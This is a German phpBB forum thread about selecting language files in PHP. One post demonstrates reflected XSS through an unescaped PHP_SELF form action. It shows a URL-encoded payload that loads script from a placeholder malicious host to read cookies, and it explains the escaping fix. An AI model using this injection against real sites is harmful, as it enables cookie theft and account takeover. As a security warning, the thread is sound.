Sprachdateien in php?

Fragen zu allen Themen rund ums Programmieren außerhalb von phpBB können hier gestellt werden - auch zu anderen Programmiersprachen oder Software wie Webservern und Editoren.
Benutzeravatar
igorw
Mitglied
Beiträge: 107
Registriert: 02.08.2008 13:04
Wohnort: Winterthur

Beitrag von igorw »

Code: Alles auswählen

<form method="GET" action ="<?php $PHP_SELF ?>
<select name="language">
<option value="de">Deutsch</option>
<option value="en">English</option>
</select>
<?php $PHP_SELF ?> sollte wenn schon <?php echo $PHP_SELF; ?> sein. Aber besser wäre: $_SERVER['PHP_SELF'].

Es gibt jedoch ein grösseres problem mit PHP_SELF. Und zwar kann es vom user geändert werden, was ein XSS (cross-site-scripting) zur folge hat. Aus diesem grund wäre es eine bessere idee htmlspecialchars(basename($_SERVER['SCRIPT_NAME'])) zu verwenden, damit es auch wirklich sicher ist.
Benutzeravatar
tas2580
Ehemaliges Teammitglied
Beiträge: 3029
Registriert: 01.07.2004 05:42
Wohnort: /home/tas2580
Kontaktdaten:

Beitrag von tas2580 »

Naja ob man PHP_SELF ändern kann oder nicht ist doch egal da man eh den Quelltext der Webseite mit den richtigen Browser Plugins ändern kann und so das Formular beliebig bearbeiten kann, das würde ich jetzt nicht als all zu kritisch sehen. Wichtiger ist das man das was vom Formular am PHP Script ankommt prüft.

Gruß Tobi
Heute ist ein guter Tag um dein Forum zu testen.
Ehemaliger Benutzername: [BTK] Tobi
Benutzeravatar
igorw
Mitglied
Beiträge: 107
Registriert: 02.08.2008 13:04
Wohnort: Winterthur

Beitrag von igorw »

Doch, es ist ein problem. Zum beispiel so was:

Code: Alles auswählen

"><script type="text/javascript" src="http://boeseseite.de/script.js" /><a href="
Wenn man das urlencoded ans ende das adresse hängt:

Code: Alles auswählen

http://meineseite.de/etwas.php/%22%3E%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fboeseseite.de%2Fscript.js%22+%2F%3E%3Ca+href%3D%22
Dann bekommt man so etwas:

Code: Alles auswählen

<form method="GET" action =""><script type="text/javascript" src="http://boeseseite.de/script.js" /><a href="">
Und schon so wird das böse JS geladen, welches cookies ausliest, oder im schlimmeren fall mittels AJAX andere spassige sachen macht.



Ich hab es überigens auch getestet. Mit folgendem PHP file:

Code: Alles auswählen

<form method="GET" action ="<?php echo $_SERVER['PHP_SELF'] ?>">
<select name="language">
<option value="de">Deutsch</option>
<option value="en">English</option>
</select>
Und ich hab diese seite besucht:

Code: Alles auswählen

http://localhost/test.php/%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%27test%27)%3C/script%3E
Das ergibt dann im quelltext:

Code: Alles auswählen

<form method="GET" action ="/test.php/"><script type="text/javascript">alert('test')</script>">

Natürlich kann man den quelltext als user selbst ändern, das ist nicht das problem. Das problem ist, dass ein angreifer ihn ändern kann, indem er dich hineinlegt die seite zu besuchen (nicht schwer zu machen, einen einzigen link, mit einem redirect versehen und voila). Dann kann er JS laden und zb. in phpBB admin rechte vergeben oder ähnliches.
Pato
Mitglied
Beiträge: 426
Registriert: 11.05.2005 23:13
Wohnort: Ansbach
Kontaktdaten:

Beitrag von Pato »

Hi alle zusammen...

also Smarty blick ich nicht... ^^ des läuft einfach nicht an... kein plan warum...
hab hier ein schönes und einfaches template system gefunden...

Mit dem scheint es schön zu laufen...

Zurück zu mein ursprüngliches Problem... ich hab es mit dem

Code: Alles auswählen

$language = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
	switch($language) {
    case 'de': include('language/lang_de.php');
    break;
    case 'en': include('language/lang_en.php');
    break;
    default: include('language/lang_en.php');
    }
laufen... er wähl bei mir immer englisch... weiß nicht warum... vielleicht ist es bei mir am computer falsch eingestellt...
wie kann ich separat die Sprache ändern, in dem ich z.b. auf die jeweilige Fahne des Landes klicke?!? er soll dann auch die Sprache auf den anderen Seiten weiterhin wie der Benutzer es gewählt hat behalten... so wern er nicht mit der automatische Gewählte Sprache zufrieden ist.

MfG Pato
Boecki91
Ehemaliges Teammitglied
Beiträge: 4744
Registriert: 18.06.2006 15:21

Beitrag von Boecki91 »

Hast du meinen Beitrag gelesen und ausprobiert?
http://www.phpbb.de/viewtopic.php?p=1028940#1028940
Standart: Am besten mit beiden Beinen auf dem Boden
Standardmäßig antworte ich nicht auf PMs
Pato
Mitglied
Beiträge: 426
Registriert: 11.05.2005 23:13
Wohnort: Ansbach
Kontaktdaten:

Beitrag von Pato »

Hi...

ja, ich hab deine Version ausprobiert... funktioniert aber irgendwie nicht..
Sollte aber eher so ausschauen oder?

Code: Alles auswählen

<form method="GET" action ="<?php $PHP_SELF ?>"> 
<select name="language"> 
<option value="de">Deutsch</option> 
<option value="en">English</option> 
</select> </form>
funktioniert aufjedenfall beides nicht... ^^

Soll das so sein, dass man in ein template das eh schon mit php geöffnet wird im html noch mal ein <?php ?> benutzt? Ist doch irgendwie doppelt gemoppelt oder...?
Boecki91
Ehemaliges Teammitglied
Beiträge: 4744
Registriert: 18.06.2006 15:21

Beitrag von Boecki91 »

Was genau hast du gemacht?

Was steht denn nun in $_SERVER["HTTP_ACCEPT_LANGUAGE"]; ?


Wenn ich etwas nicht mag dann sind es Leute die sagen "Habe ich gemacht, geht nicht." :evil: Etwas mehr Infos bitte,

Code: Alles auswählen

[ ] sah man garnichts
[ ] sah man ein "en"
[ ] sah man ein "de"
[ ] sah man "echo  $_SERVER["HTTP_ACCEPT_LANGUAGE"];"
[ ] man sah etwas anderes, nämlich __________________________
[ ] Ich habe es nicht getestet
Bitte ausfüllen :wink: :roll: :evil:
Standart: Am besten mit beiden Beinen auf dem Boden
Standardmäßig antworte ich nicht auf PMs
Pato
Mitglied
Beiträge: 426
Registriert: 11.05.2005 23:13
Wohnort: Ansbach
Kontaktdaten:

Beitrag von Pato »

naja,... ich hab dein code eingebaut und laufen lassen... ^^

Am... man konnte schon zwischen Deutsch und Englisch wählen, jedoch ist nix passiert, wenn man es gewählt hat... es war immer Englisch.
Boecki91
Ehemaliges Teammitglied
Beiträge: 4744
Registriert: 18.06.2006 15:21

Beitrag von Boecki91 »

Hallo das war ein Entwurf eine Basis, das was ich davor geschrieben habe ignorierst du anscheinend völlig. :evil: :evil:

Sorry aber irgendwas passt hier nicht, entweder kannst du keinerlei Grundlagen und das Projekt ist 5 Nummern zu groß für dich oder du erwartest das wir dir ein Rundumsorglos Paket basteln.



Edit:
Nimm folgende Datei

Code: Alles auswählen

<?php
die($_SERVER["HTTP_ACCEPT_LANGUAGE"] . base64_decode('CkhhbGxvIApkYXMgaXN0IGVpbmUgJ0F1c2bDvGhyLVByw7xmdW5nJyB1bSBzaWNoZXJ6dXN0ZWxsZW4gZGFzIGR1IGRhcyBTY3JpcHQgd2lya2xpY2ggZ2V0ZXN0ZXQgaGFzdCBiaXR0ZSBpY2ggZGljaCBmb2xnZW5kZW4gQ29kZSBiZWltIG7DpGNoc3RlbiBtYWwgenUgbmVubmVuOgoKICcxMjNxd2VydHon'));
?>
Standart: Am besten mit beiden Beinen auf dem Boden
Standardmäßig antworte ich nicht auf PMs
Antworten

Zurück zu „Coding & Technik“